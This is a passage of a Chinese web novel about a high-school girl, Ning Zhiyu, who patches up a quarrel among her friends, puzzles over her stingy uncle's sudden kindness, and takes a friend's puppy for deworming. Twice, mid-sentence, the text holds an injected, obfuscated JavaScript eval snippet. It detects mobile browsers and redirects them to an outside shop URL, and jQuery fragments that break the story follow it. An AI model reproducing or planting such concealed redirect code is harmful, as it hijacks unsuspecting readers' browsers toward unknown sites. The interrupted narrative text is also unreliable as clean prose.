周喜和赵颖突兀地对视了一眼,两个人纷纷露出心照不宣的诡异笑容。见此状况,宁执玉顿时难得地慌了神:“喂!” “王艺菡你知道吗,老宁居然有暗恋的人了!”语速极快的周喜说出这么一个惊天八卦后立刻双手捧着心口,浮夸得像个嫁女儿的后妈假装抹泪,“天啦噜,我们的学霸也会有动凡心的那一天……” “噢噢噢噢!”王艺菡一下子睁大眼睛,脸上骤然绽放出兴奋而单纯的笑容,“是谁?你喜欢谁?咱们学校的吗!你有没有跟人表白过,现在进展到什么阶段了?” 宁执玉:“……” ——我说喜欢跟你戴同款蓝色手链那个人,老王你会不会气得当场用新鞋子的鞋跟猛击我脑袋啊? 她郑重其事地环顾了一圈三个人的表情,发现大家都很兴奋地准备听八卦。赵颖也不例外,两眼发亮地看着自己。 “呵呵。”宁执玉最后一字一句地说,“你们猜去吧。答案会在高考结束后再揭晓。” 王艺菡那满是期盼的脸一下子垮下来,毫不掩饰自己的鄙夷之情:“切!真没意思。” 赵颖也摇头说道:“我之前问了老宁,这家伙嘴硬得要命,一个字的风声都不肯透露。” 老王狐疑:“所以你真的有暗恋对象吗?不会是在玩弄我们这些纯情美少女朋友的感情吧。” 虽然很想吐槽这句话里的槽点,但是宁执玉还是郑重其事地再次承认:“我真有喜欢的人了。” 王艺菡:“……” 她扭头看向老赵,目光呆滞:“难以置信!” “确实。”赵颖深有同感地点头。 “宁执玉,我得严肃批评你——就你这拖拖拉拉的隐瞒态度真的还想追到暗恋的人吗?”恋爱专家周喜也痛心疾首地拍着桌子,“可别到时候人家都谈完好几个前女友了!你哭都来不及!” 看来周喜已经默认老宁喜欢的是某个男生,还“前女友”…… “那也没关系啊。”宁执玉拿起自己的那杯热奶茶喝了一口,淡淡地说,“说明那人很优秀嘛。” “嘶!”手臂上鸡皮疙瘩猛然跳了跳的赵颖倒吸一口凉气,她左右环顾,发现王艺菡和周喜跟自己的反应都差不多,大家纷纷露出了牙酸的恶心表情。 “好恶心的暗恋语气……从来没见过你会有这样一面啊!” 宁执玉:无辜.jpg 今天也是装傻的一天啊。 ………… …… 愉快的周末转瞬即逝,随着王艺菡回归当前的校园生活,很快也过去了几天。 生活中的一切事情又回到了正轨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269631|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而徐记烧烤店里新招的烧烤师傅终于上岗了,姓孙,是陈水本地人。 在闲暇之际,宁执玉跟孙师傅聊了几句,意外地发现对方此次应聘的工资薪酬居然达到了陈水本地餐饮店的平均水平……这对于其他店来说可能很常见,但对于抠门老徐来说就很诡异了! 那个葛朗台,连亲外甥女的劳动力都要压榨,怎么舍得加那几百块给新员工了? 而且更加出乎预料的是,老徐在今日下班后找到了干活累得浑身腰酸背痛的宁执玉,跟她说…… “你以后不用帮店里干活了。” “啊?” 宁执玉看着眼前这个胖子舅舅那貌似和善的圆脸,只感觉一种难以言喻的诡异和不可置信油然而生。 “你今年都高二下学期了吧?”坐在椅子上的老徐一副关心的模样说道,“再过一年多,你就要高考了。” “店里这些杂务确实比较辛苦,我跟你舅妈在今年过年的时候认真商量过了,觉得你是个有前途考个好大学的孩子,一定要全力支持你!所以那些杂活你就暂时不用管了……” “那、那谁来干?”宁执玉难得地有些茫然。 “我们会请个零工……” 他还在絮絮叨叨地说着什么,但老宁只觉得这个从六七年前认识以来就恨不得一分钱掰成两半使的舅舅就跟被外星人顶号了一样,里面多半不是原装灵魂。 但是最终,宁执玉也只是垂下眼眸,神态温顺地道谢。 “谢谢舅舅和舅妈,我一定不会让你们失望的。” ——无论如何,不干活而多出来的时间是属于自己的,不管是用来休息还是学习,都划算至极。 可不知为何宁执玉就是开心不起来。 “那就好,那就好。你好好学习!不要辜负长辈的期望!”老徐背着手,很高兴地离开了店。 宁执玉一如既往地拉上卷帘门,上锁。 只是她并没有因为今后无需再面对那些繁复油腻的清洁工作而感到高兴,她只是走到烧烤店的三楼天台,也没开灯,而是找了张折叠椅坐下,默默地点燃了一根薄荷爆珠味的香烟。 烟是王艺菡回国后给的,她每人都发了七八种不同口味和牌子的外国烟,宁执玉怀疑这些够自己抽到高考毕业了。 不愧是外国牌子,这陌生又熟悉的薄荷混杂着烟草滋味令人精神一振。 独自一人坐在风里的宁执玉有些神思不属地抽着这根烟,眼睛注视着已经陷入沉睡的这座小县城夜景,过了良久,方才自言自语地叹了口气。 “事情有点不对啊……” 与其说是老徐良心发现,突然不想压榨未成年牛马劳动力了,宁执玉还不如相信他们夫妻二人最近笃信了什么鞋教或者误入传销组织,马上就要捐出全部家当这种离谱说法来得更可信。 但是没等宁执玉去对舅舅一家的近期诡异言行进行什么调查,第二天上学后没多久,周喜就给朋友们传回了一个最新的不好消息。 ——她跟赵颖吵架了。 宁执玉:啊? 于是她想去问问赵颖是怎么回事,刚好一出教室门就看见赵颖在走廊上跟王艺菡吵架。 最后两人不欢而散。 偷偷围观的宁执玉:啊??? ……坏了,接下来不会要轮到她了吧。 31.交际花 说实话,宁执玉自从初一认识这三个好朋友以后,从来没有面临过那么棘手的情况,一般是其中两人吵架,而另外两人会纷纷劝架和好。然后下次再随机组合两个人吵架…… 但是这次你们三个怎么现在都不约而同地从友谊的小船上往下跳啊?就剩她一人了?没人通知她这个活动结束了呀! 宁执玉思来想去,决定先从周喜身上打开这个僵局的突破口,于是她在课间时分约老周出去上厕所。 上厕所只是个借口,以周喜那话痨的性格,老宁稍微一引导询问,她就滔滔不绝地说了今日吵架的缘由。 “你不觉得赵颖太过分了吗!”周喜说到这里时眼眶也有点红了,脸上的红晕也消失了,“天天就王艺菡这,王艺菡那的。那我们呢?你和我呢?算什么,打麻将三缺一时候的备胎吗!” 宁执玉被震撼得有点哑口无言,旋即尬笑起来:“那老赵的备胎还真不少……” “你怎么每次在关键时刻就嬉皮笑脸的!”周喜气不打一处来。 宁执玉一秒滑跪道歉:“对不起。” 周喜歪着头看了她几秒,忽然泄气:“算了,我不该骂你的。其实我……我不想跟你吵,也不想跟老赵吵,但是这几天每次看她那个郁郁寡欢的样子,跟分手失恋似的!我就膈应得不行。” 她这么说着,难过地低下头。 “没事儿,我知道你没那恶意。”其实心里也挺难过的宁执玉摸了摸这位初中同桌的后背,“喜子你继续说。” “唉……”周喜长叹一声,神情显得颇为沮丧,“王艺菡出国,我当然也很不舍啊!但我觉得人家父母既然有能力让孩子去国外学习发展,为什么不去?换成我妈要是能把我送出去,我也一定会走的。” “嗯。可以理解。”老宁简短地回答。 “可是赵颖她、她今天对我亲口说。”周喜的表情忽然变得痛苦而决绝起来,“——我们两个跟王艺菡是不一样的!” “世界上哪有人会同时有三个最好的朋友?用脚指头想都知道是托词!我当然知道她最喜欢老王,可我……我才是第一个认识她的朋友啊,我们小学的时候就在一起玩了!太讨厌了,那个人!” 说到这,周喜低头抹了抹眼泪,宁执玉默默地递出原本打算用来上厕所的干净纸巾。 老周含糊地谢了一声,接过纸巾擦擦脸。 她忽然想起什么,抬头看向表情平和中透着几分悲伤的宁执玉,问道:“老宁,你听她讲这些,难道你一点也不生气吗?” “……当然,我当然也会有点难过。”宁执玉注视着周喜那双仿佛蕴藏一汪春水的眼睛,平静地叙说着,“但我很清楚,这个世界上不会有谁再坚定地选择我作为第一位了。” 周喜忽然愣住了,她呆呆地看着宁执玉,这才想起这位朋友的情感环境比拥有母亲的自己还要恶劣得多。 ——宁执玉没有亲人,监护人一家也虚伪抠门得要命,日常衣服甚至要穿弟弟不要的旧衣服……对于她而言,友情的重量一定比寻常人的更加沉重。 而说出“不会有人坚定选择我”那句话的宁执玉又是怎样的心情? “所以我早就知道,我会是赵颖的好朋友——但大概率不会是‘最好’的那个。” 宁执玉说这话时本意是为了安慰老周,但不知为什么,周喜最后扑到她怀里嗷嗷地哭起来。 老宁:? 没办法,只好一直把人安抚到上课才勉强算是平复了周喜的心情。 等她们回到教室时,赵颖非常刻意地埋头写习题,根本不看两人一眼。反倒是王艺菡目瞪口呆地看着刚刚哭过一场的周喜,用眼神责问宁执玉到底在外头说了什么离谱的台词。 ——难道你俩也吵架了?! 老宁也很无辜,她只是尽量平静克制地说出了自己长久以来的想法,谁知道周喜会哭呢? 上课的时候,王艺菡在课桌抽屉的掩护下用偷偷带来的手机给宁执玉发消息,问她跟周喜是怎么回事?怎么上个厕所还哭了呢? 宁执玉稍微解释了几句,表示自己跟老周关系好得很,目前还没吵架,请王总放心……抬头一看,发现王艺菡果然松了口气。 不过宁执玉约她下午放学后一起吃饭,王艺菡想了想,知道这个朋友想要到处劝架,便也立刻答应了。 中午吃饭的时候,王艺菡和周喜都纷纷起身,谁也没跟老赵打招呼,结伴离开了教室。 似乎对此毫无察觉的赵颖面无表情地埋着头继续写题目,陆婷则是躲在角落里装作整理课本的样子,时不时往这边偷瞄。 合上笔记本的宁执玉大大方方地站起身,走过去用手指敲了敲赵颖的桌面,后者慢慢抬头,表情看起来满是疲惫和无奈:“干嘛?” “走啊,吵架去。”宁执玉理直气壮地说,“你今天还没跟我吵呢。” 老赵:“……” 她转动着指尖的黑色水笔,骤然苦笑起来:“别闹。” 宁执玉这才笑了:“那就跟我一起去吃饭。” 赵颖抿了抿嘴,眼神往下落到卷子上,言不由衷地说:“没空……我要做题。” “学习压力已经很大了,三餐作息要规律才不会累垮自己。”宁执玉先是劝告了两句,随后缓缓地威胁说,“你再不跟我去吃饭,我就把这道题的答案抢在你前头算出来。” ——我让你白费功夫! 赵颖难以置信地看着这个“强盗”,老宁则是笑眯眯地把她手中的笔给抽走,放回桌面,然后把赵颖从位置上拉起来:“走吧走吧,我用成绩跟你担保,少做一道题也不会怎么样的……就当是陪我啦。” “老宁你能不能独立点……” 赵颖的声音听起来似乎不太情愿,但脚步还是很老实地跟着走了。 只剩下围观这一幕的陆婷呆呆地坐在自己的位置上,过了片刻,方才大为郁闷地用手中的课本用力地敲了一下桌面。 砰! ………… …… 在中午吃饭的整个过程中,赵颖无数次设想了宁执玉会如何开口询问自己与周喜和王艺菡的冲突矛盾,自己又该如何应付与敷衍……但说实话,一天之内跟两个多年挚友同时吵架,哪怕是赵颖都只觉得心力交瘁,悲伤痛苦到难以再解释多一遍的程度。 说句不好听的,赵颖甚至已经做好了跟宁执玉真的大吵一架的最坏心理准备。 但是宁执玉最后只是一如平时那样眼巴巴地盯着她盘子里的剩菜问道:“这个西红柿炒蛋你还吃吗?不吃的话,能给我吗。” “……吃吧你。” 赵颖觉得又好笑又好气,反正今日也没什么胃口,就将大半的西红柿炒蛋挖到老宁的盘子里。 宁执玉直白地道谢,一点也不介意吃朋友的口水,低头继续炫饭。 坐在对面的赵颖盯着她低下头时露出的小小发旋,寻思着跟宁执玉吃饭是一件很开心的事情,因为这人总是吃得很香,哪怕是学校食堂这种猪狗不如的伙食都能认真吃完。如果大家在外头吃饭有剩菜,她多半也会打包回去而不是浪费。 以前赵颖不太理解这点,但是老宁只是笑着解释说“读书的时候总是感觉很饿”后,她和其他朋友只要一起吃饭,经常会刻意给老宁多分几勺菜。 直到吃饱喝足往教室方向回去的时候,宁执玉都没有开口询问任何事情。 不对,她还是问了一件事。 “说起来,老赵你家的狗怎么样了。好久没见它了。” 赵颖顿感猝不及防,这个问题如同打在棉花上的一拳,让满心都是等会儿该如何吵架的她都愣了愣神才反应过来:“还好吧……我现在也只有周末会回去,具体的遛狗和喂饭那些事情是阿姨在做。” 宁执玉:“哦。” 宁执玉:“那你给它驱虫和打疫苗没?” 赵颖一脸懵懂:“啊?那是什么?” “不是吧?那很危险!” 宁执玉猛地转头看向她,满脸震惊,这个极为少见的表情把赵颖多少有点吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282407|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了。 原本只是想随便找个话题的老宁接下来跟赵颖认真科普了一番家养宠物的各种注意事项,以及不打疫苗可能会带来的各种危害性后,听得赵颖都有点脑门冒汗了:“现在怎么办?距离周末我回去还有两天。” “能让阿姨带狗去打疫苗这些吗。”宁执玉问道。 赵颖很无奈:“一说到又要花钱,她把狗卖了的可能性都更高一点吧。” 既然如此,宁执玉低着头沉思了一会儿:“这样吧,我今晚的晚自习干脆不上了,直接跟贺老师请假出去。反正我是走读生,出去比你一个住校学生会容易得多。” “然后我带你的狗去宠物医院做驱虫,具体费用我先到现场看看,到时候发价目表图片给你,你觉得怎么样?” 赵颖一时间呆了呆,旋即露出了纠结而担心的神情:“你竟然不上晚自习?这……这不好吧?会耽误你学习的!” “没事啊,我把学习资料带回去,晚上回店里学习也是一样的。”宁执玉好脾气地笑笑,“主要是我觉得狗的事情不能拖,打疫苗前几天必须先做驱虫,越快越好……你想想,如果狗回头不小心咬了你妹妹,赵子璇是不是要去医院打狂犬病疫苗?咬人的小狗又会被你爸怎么处理呢?” 毫无疑问,伤人的小狗会被愤怒的父亲和阿姨赶走甚至打死! 一想到这个BE结局,赵颖就冷汗直冒,一时间也顾不上什么跟朋友们之间闹别扭的事情了,当即就拜托老宁帮忙。 宁执玉答应得也很爽快:“没问题,你晚自习前给你阿姨打个电话,你就说我会上门带狗去做清洁这些,不用她出钱,保证她会同意的。” “嗯嗯,这钱我来出,我家小狗就麻烦你了!”赵颖这话说得真心实意。 宁执玉温和地笑了一下:“嘿,说这客气话……这不是看在西红柿炒蛋的面子上嘛。” 赵颖听出来这是老宁不希望自己有太大的心理负担才会故意这样说的,她吸了吸鼻子,有点感动地回答:“我明天再请你吃饭吧。” “那敢情好。” 直到回到教室开始午休了,趴在课桌上的赵颖才想起来……宁执玉到现在都还没有问她关于两个朋友的事情,大家都忙着研究狗的健康去了! 唉。她一把捂住自己的额头叹了口气,身体却又很诚实地缓缓放松下来。 到了下午放学后,住校生们该去吃饭的去吃饭,该不要命地学习就继续学,该回宿舍洗澡的就回去洗……周喜跟后座的同学专注大声聊天,而赵颖选择先回宿舍洗澡。 走之前老赵看了一眼宁执玉,后者朝她微微点头,表示“小狗交给我就行”后,此人立刻格外放心地走了。 周喜继续跟人聊天,貌似无动于衷。 一直暗中关注赵颖一举一动的王艺菡装作若无其事地绕到宁执玉的桌子前。 “怎么,你俩啥时候变得这么眉目传情了?” 天哪,这话里话外的醋味都快溢出来了。 宁执玉的鼻尖嗅了嗅空气,装作没看见面前的大活人一个:“奇怪,谁的醋坛子打翻了?” “你这坏家伙,敢打趣我哈?”王艺菡气得去捏了两把她的肩膀,直到老宁假装疼得龇牙咧嘴,王艺菡才稍微消了点气。 她伸手勾住宁执玉的肩膀,很自然地说:“去外面吃土豆凉面,走不走?” “走走走。”老宁拔腿就走。 来到熟悉的校门口小店时,宁执玉想起自己上次来这儿,还是提前报到那天跟赵颖和周喜她们吃过一次,没想到这回会跟王艺菡单独来吃。 跟店长阿姨点好菜后,王艺菡才正色看向坐在对面的老宁:“说吧,你想聊什么?” “这话不是该我问你才对吗?”宁执玉语气平淡地反问道,“你跟赵颖今天又吵什么啊。” 老宁本以为还要跟王艺菡再绕几个圈子、引导一下话题,没想到老王下一秒就露出了与委屈小狗毫无二致的神情。 “我不知道!” “……啊?” 32.饭桌谈话 其实王艺菡对于这起吵架事件感到委屈也很正常,虽然她同样非常舍不得这群从小一起玩到大的小伙伴,但比起天天见面的朋友们,她当然更想要回到一年只能见几次的父母身边。 哪怕是要到国外去。 “而且我只是出国,又不是要跟你们绝交了……我在国外还是可以天天跟你们联系啊!”王艺菡不满地跟宁执玉述说着自己的想法,哪怕在后者听来颇具几分天真色彩,“等你们高考完,我立刻邀请你们来美国旅游一段时间,来回的所有费用全部我来出——这些都是可以的!” 宁执玉一边吃面前的土豆凉面一边微微点头,表示自己有在听,也确信老王能做得出撒钱请人旅游这种事情。 “但是颖子她……”说到这里,王艺菡难过地用筷子尖戳了戳碗底的一块油炸土豆,将它戳得不成形状,“这段时间她不知道在发什么神经,一直想办法地疏远我,搞得跟我好像不是很熟一样!老宁你说,她是不是很过分?” 老宁:“嗯嗯你说得对但是香菜你吃不吃?” 王艺菡有点烦躁但还是点头答应:“给你吃吧。” “好,靴靴。”宁执玉夹走了老王碗里特意拨开、明显是挑食不想吃的那一摞香菜,继续一心二用地吃饭。 她又听了一会儿,眼看都快吃完自己这碗了,王艺菡面前的那碗土豆凉面还没有消灭一半……吃饭的时间全花在诉苦方面。 最后老王终于意识到面前这个吃货朋友似乎满心满眼都只有干饭这件事,当即不满地敲了敲桌子:“喂,宁执玉你到底有没有听我刚才说的?” “听着呀。”老宁特别无辜地看向她。 “那你帮忙分析一下,老赵最近到底是个什么情况嘛。”王艺菡问。 宁执玉坐直了身子,抓过一旁桌子上摆放的廉价餐巾抽纸擦擦嘴上的油渍,正色看向面前愁眉不展、食欲全无的王艺菡,郑重其事地说:“我觉得吧,老赵近期会有这么反常的举动,只是因为她……太舍不得你了。” 一时间,王艺菡面露困惑和难以置信的神色:“啊……?” “她,不舍得你。”宁执玉一字一句地重复道,旋即露出了非常无奈的笑容,“但是这样不舍的心情该怎么告诉你这个出国当事人呢?” 王艺菡震惊地看着老宁,仿佛在听什么无法理解的天书一样,表情几乎都空白了。 宁执玉慢条斯理地跟她做分析:“理智上,无论是你即将跟父母团圆,还是可以出国接受更好的教育……作为朋友的赵颖都不可能开口劝阻你不要去。” “因为这话太自私了!自私到她只要稍微往这方面多想一点,就会开始在内心谴责自己的这种不该有的心情。‘要为朋友的前途光明而开心才是正确的事情’——我猜老赵多半会这样想。” “但是很多时候,正确的事情不一定等同于开心的事情。她才会那么痛苦而别扭。” “至于情感上嘛,我猜赵颖大概是觉得既然这个学期结束后跟你就要分开,不如从现在就学着疏远关系,免得到时候她会比现在更伤心。” “人在遇到疼痛的时候会选择退缩,这很正常。”说到这里时,宁执玉不自觉地用手指摩挲着自己脸上的疤痕,慢吞吞地说,“可想而知,这个注定要到来的离别……已经让赵颖感到疼痛到想要退缩的程度了。” “——天呐!” 王艺菡瞠目结舌地呆坐在位置上片刻,骤然间眼泪就流了下来。她突然扔掉手中的一次性筷子,旋即一把捂住了自己的脸,竟然是毫无征兆地哭了起来。 “我其实也有这样想过!但是她今天在走廊上跟我吵架的时候,她说那些话……太伤人了,我觉得她好像在故意惹我生气。所以……我也忍不住发火了!现在想想,我真的……哎哟!我怎么那么笨……” 短短几分钟里,王艺菡愣是哭得说不出一个完整的句子。 宁执玉一边把抽纸推过去,一边心有余悸地点头:“她骂人时确实很擅长戳人心窝子,这点我也是体会过的。” “但是老赵这人的心不坏,很多时候,她只是不知道该怎么正确地表达出自己的心情……王艺菡,你肯定比我更清楚这点。” “对!就是这样!” 老王无视旁人目光的大声抽泣了一声,抓起两三张纸巾擦眼泪。但那些纸巾还是很快都被打湿了。 然而下一秒,她突然蹦起来,吓得宁执玉连忙一把抓住对方的手腕:“你干嘛去?” “我现在就要找老赵把这事情说清楚!”王艺菡眼中带泪地嚷嚷道起来,老宁隔着一张桌子都差点没拉住人,“我要跟她说……” “王艺菡你急什么!让子弹飞一会儿!”宁执玉无可奈何地斥责道,“你现在是消气了,你不生气,但她还在气头上啊——所以你现在过去是准备跟满心别扭的老赵再吵一架吗?” “那、那你说,该怎么办?” 王艺菡惊愕而可怜地扭头看向她,像是一只泫然欲泣的小狗。 宁执玉头很痛地闭了闭眼,再度睁开时勉强给出一个新的保证:“你缓个两三天,老周那边也是!等我给老赵做做思想工作,顺毛捋完了,再通知你们过来和好——你看如何?” “……唉!!” 呆立原地的王艺菡在几秒后发出一声极为哀怨的长嚎,颓然地又重重地坐回原位,开始重新拿纸巾擦眼角了。 看着王艺菡这幅直率天真的悲伤样子,宁执玉不由自主地幽幽地叹了口气。 其实这些话也是她对赵颖近日来的观察和分析。 猜测不一定对。 但对于如今困惑苦闷的王艺菡来说无异于是沙漠中的绿洲,是一种极大的安抚。 说句不好听的,宁执玉当然可以借此绝佳机会离间这两个朋友,让她们真正的变成老死不相往来,然后自己再趁机上位刷好感……可是那样太卑劣了。 宁执玉确实是偷偷摸摸地在暗恋赵颖没错,却也是真的喜欢王艺菡这个大方而天真的好朋友。 这些年来,没有老王这个金主友人时不时接济一二的话,她不知道还要受多少苦。< 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“直到临出发的前一年,我家因为某些事情而破产。” “我父母因此离婚,他们都不要我了……而我也只能来陈水,起码这边还有个名义上的血缘关系舅舅在,能给我当监护人。” 这个故事的中间省略了很多大事,但是宁执玉不想跟任何人细说。 起码目前不想。 王艺菡特别难过而无言地看着她,像是无法想象那个家里破产、父母轮流抛弃孩子的画面……看到她的眼神,宁执玉也跟着沉默了。 过了好一会儿,王艺菡方才谨慎地开口:“那你现在是什么感觉?” “嗯?我还行吧,日子过得马马虎虎的。”宁执玉神情恳切地看着王艺菡,“你能出国,我是很羡慕啦!但我也不会去嫉妒什么。毕竟我如今已经知晓,世界上的每个人都有自己的命运,可能我……” 她忽然抿了抿嘴,将原本想要那自我哀怨的话语吞回去,改成了新的言语:“……我在你身上看到了曾经属于自己的另外一种命运可能性吧?” 王艺菡的眉毛骤然耷拉下来,显然是心软了,过了几秒,她方才柔软而满怀真情地喊了一声“老宁”。 听到这个称谓,宁执玉的身体往后靠了靠,倚在椅背上,脸上也露出了真挚的笑容:“我是真的希望老王你不管最后是选择留在国内,亦或者是去国外发展,你的一切都能顺顺利利,开开心心的。” “所以我虽然舍不得你这个朋友,但我——同样祝福你的未来,王艺菡。” “……我知道。”王艺菡看起来又快要哭了,她扭过头去,抹了一把眼睛,低声道,“你一直是个很好的人。从初一认识你的那天直到现在,你都是我这辈子非常好的、不可多得的好朋友。” 宁执玉注视着为了离别而感伤的王艺菡良久,直到她自己的鼻子也开始泛酸,眼眶里有水光在徘徊,她方才再度微笑并由衷道:“多谢夸奖,老王。” 33.不许带 晚上六点多,告别回学校上晚自习的王艺菡后,宁执玉先回烧烤店放书包,换了件外套就重新在赵颖家门口上线了。 随着摁响门铃后没过多久,张玉琴阿姨给宁执玉打开门,在饭菜的香味中把早已戴好廉价项圈和牵引绳的小土狗交给她。 “这狗今天就麻烦你照顾了哈,执玉同学。赵颖这孩子也真的是,自己的事情就知道麻烦同学……” 很显然,张阿姨已经提前接到了赵颖打过来的电话,也做好了让小狗出门的准备。 宁执玉客客气气地问好后把狗绳接过来,然后再次声明自己这趟带狗出门主要是帮朋友老赵跑个腿,遛遛狗顺便送去清洁一下……保证晚些时候会把狗送回来。 这话对于每天早晚都要遛狗两趟的张玉琴来说无异于是天籁福音,她赶紧表示宁执玉想遛多久都行,最好遛个两三天再送回来也没问题。 老宁呵呵一笑,只说阿姨你讲话真幽默,今晚我肯定把小狗拿回你家。 ——事实上,要不是烧烤店的小杂物间不适合养狗,说不定她真的会把赵颖的狗拿回去养着。 这只小土狗很快就认出老宁的气味,很亲热地蹭着她的裤腿和鞋面,转来转去的。 直到牵着愉快摇晃尾巴的小狗离开这栋老式居民楼,宁执玉才想起刚才在门口聊天的一个细节——这回张阿姨可从头到尾都没有问她“同学你吃饭没”这种问题。 那个中年女人仿佛生怕老宁就说今晚还没吃饭,然后冲进赵家的餐桌上大快朵颐一番那样。 “嘿。”她忍不住略感鄙夷地笑出声来,“还说让我有空去家里吃饭呢……” 搞笑。 “一个人在楼梯口傻笑什么?”有个耳熟的声音从不远处传来。 宁执玉循声看去,脸上不由得露出了些许真心实意的笑容:“敏敏姐……不,表姐?哈哈。” 徐敏敏的样子看上去像是刚从超市回来,披散着长发,衣着随意,手里还提着一大袋零食饮料啥的。 “啊呀,表妹你好。”徐敏敏睡眼惺忪地看向她,“说起来,这个点……你不用回去上晚自习吗?” 她们说话之间,小狗围着两人的脚边闻来闻去,徐敏敏一边说话一边蹲下身揉捏小狗的绒毛,很快就摸得这不争气的家伙瘫倒在地、露出肚皮。 宁执玉愣了一下,硬着头皮说:“老赵这狗还没打疫苗,我们今天才发现这事儿……她现在住校,出来一趟不容易,所以我临时请假帮忙带它去宠物店看看。” 蹲在地上的徐敏敏眯着眼睛抬起头打量宁执玉,过了好几秒,她的嘴角勾起一个堪称促狭的角度:“我说表妹,你这个行为真的……好舔狗。” “喂!”宁执玉早知道这个疑似女同的家伙要各种恶意揣测自己的行为动机,但还是难以抑制地怒了,“舔狗什么?我只是担心朋友的宠物和家人健康罢了!你懂什么!” 徐敏敏拍了拍小狗的脑袋,站起身来,漫不经心地谴责道:“你看,随便说两句而已,又急。” 宁执玉:“……” 见鬼了,这该死的眯眯眼怎么总能轻易打出她的破防之处? 徐敏敏多半是八字克她宁某人。 “徐敏敏你还有事吗。”宁执玉面无表情地问,“没事我就走了。” “哟,真生气啦?”贩剑成功的徐敏敏反而很开心的样子,“连‘表姐’都不喊了……来,请你吃糖。” 老宁很无语:“你拿我当小孩哄吗?” 兴许是知道宁执玉不会抽自己给出的香烟,因此徐敏敏还是低头从满满当当的购物袋里摸出了一条全新的、没拆开包装的“荷氏”薄荷糖,塞进她的另一只手里。 “行了,忙你的去吧。我今晚还有别的事情,没空陪你玩。”徐敏敏无情地说,送客意味十足。 宁执玉低头看了看手上那一条翠绿包装的薄荷糖,掂量了两下,最后还是决定道谢一声:“我也不需要谁来陪。不过还是谢了,徐敏敏——表姐。” 徐敏敏似乎觉得观察宁执玉的每次语气和表情变化都挺有趣的,当即笑了两声,并意义不明地鼓励道:“加油追女生哦,小舔狗。” “你再这样随便乱喊,等会儿我就放狗来咬你了!”宁执玉没好气地骂回去,并顺手把薄荷糖揣进裤兜里。 然后走了。 ………… …… 宁执玉带着这只至今没有取名的小土狗先后来到了陈水的几家规模大小程度不一的宠物医院,在咨询了前台关于驱虫、洗澡和疫苗的相关费用,然后把每一家店的收费价目表拍下来,并一五一十地全部转发给赵颖,询问她的意见。 此时正在教室里上晚自习,偷摸低头使用手机的赵颖顿时惊了。 【赵颖:……好贵! 赵颖:我买这条狗才花了50,打个四联针加狂犬病疫苗怎么就要120了?还不包括驱虫和洗澡项目,这河狸吗? 赵颖:尼玛这些店是在抢钱吧! 宁执玉:目前问到最便宜的一家店,驱虫价格是30块,还是用的美团优惠券——包含一次幼犬的内外驱虫。怎么样?搞不搞? 宁执玉:驱完虫后观察一周左右,确认没啥状况了,狗才能打疫苗。 赵颖:搞吧……早驱早超生了。 赵颖:[系统:对方的红包发出,请及时接收]】 随着宁执玉接收了朋友发来的30块钱费用,当即跟宠物医院的前台小姐姐沟通要给小土狗买个驱虫套餐,在对方的指点下打开美团买券外加被迫给予五星好评一个。 随着小姐姐扫券成功,这工作人员打开电脑开始做宠物档案登记,然后询问宁执玉这条小狗叫什么名字。 “狗的名字?”老宁顿时懵逼了,这事儿赵颖没说,张玉琴阿姨也没说,没人知道这条狗叫什么! “……你叫什么名字啊?” 她蹲下身怒揉狗头,可惜小狗只是用湿漉漉的黑色鼻头触碰宁执玉的掌心,嗷嗷地叫着。 前台小姐姐觉得有趣,便问道:“您不是狗主人?” “我是狗主人的朋友,帮她跑腿而已。狗的大名……暂时也没有。” 宁执玉站起身重新看向前台,她知道赵颖是不会给这只狗取名的,因为老赵是为妹妹赵子璇买的,取名权自然也在赵子璇那熊孩子那里。 “那您要不先随便给狗狗取个临时名字?”小姐姐建议道,“方便系统登记。” 宁执玉想了几秒钟,很没营养地取了一个临时名字:“叫‘小赵’吧。” 小姐姐的笑容不变:“狗狗叫‘小赵’是吗?” 看这位工作人员熟练的客套笑容,明显就是见识过各种各样离谱的宠物名称后锻炼出来的。 宁执玉点头:“是。” “好的……登记好了,麻烦您带着小赵在旁边稍作等候。等广播叫号后,请您把小赵牵到对应的房间里面,届时会有医生为它驱虫的。” “哦哦,好。”宁执玉牵着小土狗,正准备转身去大厅的椅子上坐一会儿,忽然想到什么,当即询问,“我可以拍一下系统上名字的图片吗?” “可以呀!”前台小姐姐还帮忙稍微转了转屏幕方向,好让老宁能拍照成功。 过了片刻,正在教室里晚自习的赵颖收到了一张新图片。 她看完后没忍住一巴掌拍在自己脑门上,叹了口气。 【赵颖:总感觉你给它取这名字包含着某种说不清道不明的逗人意味。 宁执玉:怎么会呢? 宁执玉:我那么正经的一个人,怎么会逗人玩。是吧小赵? 赵颖:…… 赵颖:我回头会让赵子璇赶紧想个正常点的名字出来的! 宁执玉:好的,小赵。 赵颖:揍你啊!! 宁执玉:嘿嘿。 赵颖:我服了…… 赵颖:接下来狗还要做什么?洗澡吗? 宁执玉:驱虫后2-3天都不能洗澡。以观察它的健康状态为主。 宁执玉:顺利的话,等着一周后打疫苗吧。 赵颖:行啊,那麻烦驱虫结束后,再帮我把狗送回家里去吧?】 然而后面宁执玉就没有回消息了,赵颖也没有很在意,毕竟老宁素来做事历来都很靠谱,除了爱时不时逗人玩的毛病以外,只要承诺过的事情就从来没出过问题。 